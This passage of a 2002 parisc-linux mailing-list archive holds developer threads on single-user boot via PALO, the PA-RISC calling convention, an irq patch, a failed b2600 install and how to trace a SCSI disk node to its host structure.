	by smtp10.atl.mindspring.net with esmtp (Exim 3.33 #1)
	id 178VFe-0000PN-00
	for parisc-linux@lists.parisc-linux.org; Thu, 16 May 2002 20:05:42 -0400
Original-Received: from archimedes.localnetsolutions.com (archimedes.localnetsolutions.com [192.168.0.2])
	by castle.localnetsolutions.com (8.11.6/linuxconf) with ESMTP id g4H06BT02058
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 20:06:11 -0400
In-Reply-To: <1021593568.2584.78.camel@archimedes.localnetsolutions.com>
X-Mailer: Ximian Evolution 1.0.5 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14781

Answered it myself. Append "single" to the last line and boot up.

On Thu, 2002-05-16 at 19:59, James P. Kinney III wrote:
> I goofed and installed something I shouldn't have (x10) and now it
> completely hangs the init process. How to I pass a "boot to single user
> mode" parameter from the IPL/PALO loader?
> -- 
> James P. Kinney III   \Changing the mobile computing world/
> President and CEO      \          one Linux user         /
> Local Net Solutions,LLC \           at a time.          /
> 770-493-8244             \.___________________________./
> 
> GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
> <jkinney@localnetsolutions.com>
> Fingerprint = 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7 
> 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
-- 
James P. Kinney III   \Changing the mobile computing world/
President and CEO      \          one Linux user         /
Local Net Solutions,LLC \           at a time.          /
770-493-8244             \.___________________________./

GPG ID: 829C6CA7 James P. Kinney III (M.S. Physics)
<jkinney@localnetsolutions.com>
Fingerprint = 3C9E 6366 54FC A3FE BA4D 0659 6190 ADC3 829C 6CA7 






From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Mc Parlane <james@massive.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parsic function calling convention
Date: Fri, 17 May 2002 11:52:01 +1000
Lines: 8
Approved: news@gmane.org
Message-ID: <C1126400B227D411AC1200A00CC456B501448DAD@emailserver.massive.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416621296 7252 80.91.229.3 (22 Nov 2014 01:54:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 19:52:07 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from emailserver.massive.com.au (unknown [203.62.157.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id A8A28482A
	for <parisc-linux@lists.parisc-linux.org>; Thu, 16 May 2002 19:52:06 -0600 (MDT)
Original-Received: by emailserver.massive.com.au with Internet Mail Service (5.5.2655.55)
	id <JRC2QW7Q>; Fri, 17 May 2002 11:52:05 +1000
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14782

Does anyone please have info, or know where I can find info on the parisc2.0
calling convention under hpux and parisc-linux?

I am attempting to add parisc support to libffi.

Thankyou.



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] booting to single user mode?
Date: Thu, 16 May 2002 21:45:35 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20020517034535.29E46482A@dsl2.external.hp.com>
References: <1021593568.2584.78.camel@archimedes.localnetsolutions.com>  <1021593942.1992.80.camel@archimedes.localnetsolutions.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621297 7262 80.91.229.3 (22 Nov 2014 01:54:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:57 +0000 (UTC)
Cc: palinux <parisc-linux@lists.parisc-linux.org>
To: "James P. Kinney III" <jkinney@localnetsolutions.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 21:45:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 29E46482A; Thu, 16 May 2002 21:45:35 -0600 (MDT)
In-Reply-To: Message from "James P. Kinney III" <jkinney@localnetsolutions.com> 
   of "16 May 2002 20:05:42 EDT." <1021593942.1992.80.camel@archimedes.localnetsolutions.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14783

"James P. Kinney III" wrote:
> Answered it myself. Append "single" to the last line and boot up.


good. I was going to point you at the FAQ.
There's a link there to "Kernel Boot Parameters".

grant



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parsic function calling convention
Date: Thu, 16 May 2002 22:07:17 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20020517040717.7C7ED483D@dsl2.external.hp.com>
References: <C1126400B227D411AC1200A00CC456B501448DAD@emailserver.massive.com.au>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621297 7268 80.91.229.3 (22 Nov 2014 01:54:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Mc Parlane <james@massive.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu May 16 22:07:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 7C7ED483D; Thu, 16 May 2002 22:07:17 -0600 (MDT)
In-Reply-To: Message from James Mc Parlane <james@massive.com.au> 
   of "Fri, 17 May 2002 11:52:01 +1000." <C1126400B227D411AC1200A00CC456B501448DAD@emailserver.massive.com.au> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14784

James Mc Parlane wrote:
> Does anyone please have info, or know where I can find info on the parisc2.0
> calling convention under hpux and parisc-linux?

There's several calling conventions that can run under PA2.0 architecture.
HPUX supports PA1.1 SOM and PA2.0 64-bit ELF.
The 64-bit ELF is the same for both OSs.
parisc-linux kernel has limited support for PA1.1 SOM but everything for
debian-hppa is built using PA1.1 ELF (32-bit).

I'm not aware of any authoritative, detailed documentation for PA1.1 ELF.
Since PA1.1 (32-bit) ELF is hack from the existing 64-bit ELF, 
You could start by looking at PA2.0 calling convention for HPUX.
Either docs.hp.com or www.parisc-linux.org should have that specification.
Otherwise, just write something in 'C' and see what gcc produces.

grant



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parsic function calling convention
Date: Thu, 16 May 2002 23:36:57 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20020517063657.GZ30370@tausq.org>
References: <C1126400B227D411AC1200A00CC456B501448DAD@emailserver.massive.com.au> <20020517040717.7C7ED483D@dsl2.external.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621297 7273 80.91.229.3 (22 Nov 2014 01:54:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:57 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: James Mc Parlane <james@massive.com.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 00:32:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (unknown [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id DC546482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 May 2002 00:32:36 -0600 (MDT)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id cjnlnaaa for parisc-linux@lists.parisc-linux.org; Thu, 16 May 2002 23:30:50 -0700
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id C4E6BCD63C; Thu, 16 May 2002 23:36:57 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020517040717.7C7ED483D@dsl2.external.hp.com>
User-Agent: Mutt/1.3.28i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14785

> I'm not aware of any authoritative, detailed documentation for PA1.1 ELF.
> Since PA1.1 (32-bit) ELF is hack from the existing 64-bit ELF, 
> You could start by looking at PA2.0 calling convention for HPUX.
> Either docs.hp.com or www.parisc-linux.org should have that specification.
> Otherwise, just write something in 'C' and see what gcc produces.

 From what I have seen, the 32-bit elf conventions are quite similar to
 the 32-bit som conventions. the biggest difference i know off the top
 of my head is that we don't do fp argument relocation.

 http://www.parisc-linux.org/documentation/index.html has some good
 links for the 32-bit SOM and 64-bit ELF runtime architectures.

 randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] irq.c patch to fix lockups on recent kernels
Date: Fri, 17 May 2002 00:35:44 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20020517063544.AB9E3482A@dsl2.external.hp.com>
References: <20020515134703.GY30370@tausq.org> <20020516204045.D4E85482A@dsl2.external.hp.com>  <20020516213048.DDE21482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621298 7282 80.91.229.3 (22 Nov 2014 01:54:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:58 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 00:35:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP id AB9E3482A
	for <parisc-linux@parisc-linux.org>; Fri, 17 May 2002 00:35:44 -0600 (MDT)
In-Reply-To: Message from Grant Grundler <grundler@dsl2.external.hp.com> 
   of "Thu, 16 May 2002 15:30:48 MDT." <20020516213048.DDE21482A@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14786

Grant Grundler wrote:
> I'm thinking we should:
> o move the EIRR bit handling into do_cpu_irq_mask()
>   (do_cpu_irq_mask() could loop until EIRR is zero).
> o move I-bit handling into the entry.S assembly.

prototype code is on ftp.parisc-linux.org/patches/irq_eirr.diff
I didn't cleanup some of entry.S stuff but it should work.
Not tested.

grant



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Armijn Hemel <armijn@nl.linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installing on b2600 fails
Date: Fri, 17 May 2002 13:05:27 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <20020517130527.J32014@humbolt.geo.uu.nl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621298 7294 80.91.229.3 (22 Nov 2014 01:54:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:58 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 05:05:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from humbolt.nl.linux.org (humbolt.nl.linux.org [131.211.28.48])
	by dsl2.external.hp.com (Postfix) with ESMTP id CBF81482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 May 2002 05:05:35 -0600 (MDT)
Original-Received: (from localhost user: 'armijn' uid#1008 fake: STDIN
	(armijn@humbolt.nl.linux.org)) by humbolt.nl.linux.org
	id <S16110AbSEQLF1>; Fri, 17 May 2002 13:05:27 +0200
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14787

hi all,

I tried to install a b2600 workstation with Linux, but I couldn't get it
to work. I tried to install Debian woody (downloaded unofficial ISO from
http://cdimage-unofficial.debian.net/), which didn't want to install
(couldn't find a library). I also tried the 0.9.3 release PARISC-Linux (full
install) which also didn't work.

I got either a stack dump when it was loading the ramdisk, or I got the
following errors on the funky display on the front of the machine:

HPMC initiated, bus timeout, bad os HPMC cksm, OS HPMC br err

I am wondering what went wrong. I'm quite new to PA-RISC hardware, so
I don't know if this is a software or hardware failure. Can anyone help
me with this? Thanks in advance.

armijn

-- 
 ---------------------------------------------------------------------------
   armijn@nl.linux.org | http://people.nl.linux.org/~armijn/ | Penguin Power
 ---------------------------------------------------------------------------
                 http://nl.linux.org/ | Alles over Linux
 ---------------------------------------------------------------------------



From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] How retrieving HPA/SPA with the device node
Date: Fri, 17 May 2002 16:11:07 +0200
Organization: H.P
Lines: 103
Approved: news@gmane.org
Message-ID: <3CE50F7B.771EC8B8@admin.france.hp.com>
References: <3CA9BB50.1FCEBDF4@admin.france.hp.com> <20020402164417.6C6B6482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------FB195AF423A22A20EE99BF6B"
X-Trace: ger.gmane.org 1416621298 7301 80.91.229.3 (22 Nov 2014 01:54:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:58 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 08:17:27 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 85814482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 May 2002 08:17:26 -0600 (MDT)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 375DCE6
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 May 2002 16:17:24 +0200 (METDST)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id QAA06450; Fri, 17 May 2002 16:15:11 +0200 (METDST)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14788

This is a multi-part message in MIME format.
--------------FB195AF423A22A20EE99BF6B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi
I've finally found enought time to continu my long way to the HPA.
So now I've build a function in sd.c in order to retrieve the scsi_host.
But as it has been said, the pointer pci_dev in the structure scsi_host
is not always pointing to a pci_dev. For my poor 712/100, it point
to NULL :-( (it is normal, my scsi host is not a PCI one). So I'm still
stuck at this point, now I'm able to retrieve the scsi_host and scsi_dev
structures, but I'm still unable to go the parisc_device. Any idea ?

	Thanks.

Grant Grundler wrote:
> 
> Bruno Vidal wrote:
> > The pointer of the disk (/dev/sd??) is the node. Example:
> > /dev/sda2 ->> sda2 -> 0x802 -> major:0x8 -> driver "sd" with minor:0x02
> > Now how can I link 0x802 to hardware path "2/0/1"
> > So where is the link between both ????? Do you have any idea ?????
> 
> Well, there is a link. It's just not as obvious as the iotree.
> 
> drivers/scsi/sd.c:sd_open() finds the device:
> 
>         target = DEVICE_NR(inode->i_rdev);
>         if (target >= sd_template.dev_max || !rscsi_disks[target].device)
>                 return -ENXIO;  /* No such device */
> 
> And sd.h has the definition for Scsi_Disk:
> typedef struct scsi_disk {
>         unsigned capacity;      /* size in blocks */
>         Scsi_Device *device;
>         unsigned char ready;    /* flag ready for FLOPTICAL */
>         unsigned char write_prot;       /* flag write_protect for rmvable dev */
>         unsigned char sector_bit_size;  /* sector_size = 2 to the  bit size power */
>         unsigned char sector_bit_shift;         /* power of 2 sectors per FS block */
>         unsigned has_part_table:1;      /* has partition table */
> } Scsi_Disk;
> 
> Scsi_Device is *private*. It contains the ptr to Scsi_Host (defined
> in hosts.h), an instance of a SCSI controller driver. And finally,
> Scsi_Host has a pointer to pci_dev.
> 
> Since several of the data structures are intended to be private,
> I suggest adding a function to sd.c (or scsi.c) that finds and returns
> the pci_dev pointer:
> 
> struct pci_dev *sd_get_pci_dev(struct inode *inode)
> {
>         int target = DEVICE_NR(inode->i_rdev);
>         Scsi_Device scsidev = rscsi_disks[target].device;
> 
>         if (target >= sd_template.dev_max || !scsidev)
>                 return NULL;  /* No such device */
> 
>         return (scsi_dev->host->pci_dev);
> }
> 
> It would be nice if SCSI were part of the IO tree but I can understand
> reasons for not doing it. In particular, SCSI over FC doesn't lend
> itself to an IO Tree arrangement since it's really a "net". Put a SAN,
> additional FC controllers from the same host, and a few thousand
> LUNs out there and the IO tree can become an ugly mess to.
> 
> hth,
> grant
> 
> ps. I had no clue how this worked until I tracked this down starting
>     at sd_open().
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------FB195AF423A22A20EE99BF6B
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------FB195AF423A22A20EE99BF6B--




From - Thu Nov 08 21:22:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parsic function calling convention
Date: Fri, 17 May 2002 10:42:22 -0400 (EDT)
Lines: 45
Approved: news@gmane.org
Message-ID: <200205171442.g4HEgNbk029843@hiauly1.hia.nrc.ca>
References: <20020517063657.GZ30370@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621299 7306 80.91.229.3 (22 Nov 2014 01:54:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:54:59 +0000 (UTC)
Cc: james@massive.com.au, parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri May 17 08:42:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A155F482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 17 May 2002 08:42:37 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g4HEgOFN029845;
	Fri, 17 May 2002 10:42:24 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g4HEgNbk029843;
	Fri, 17 May 2002 10:42:23 -0400 (EDT)
In-Reply-To: <20020517063657.GZ30370@tausq.org> from "Randolph Chung" at May 16, 2002 11:36:57 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
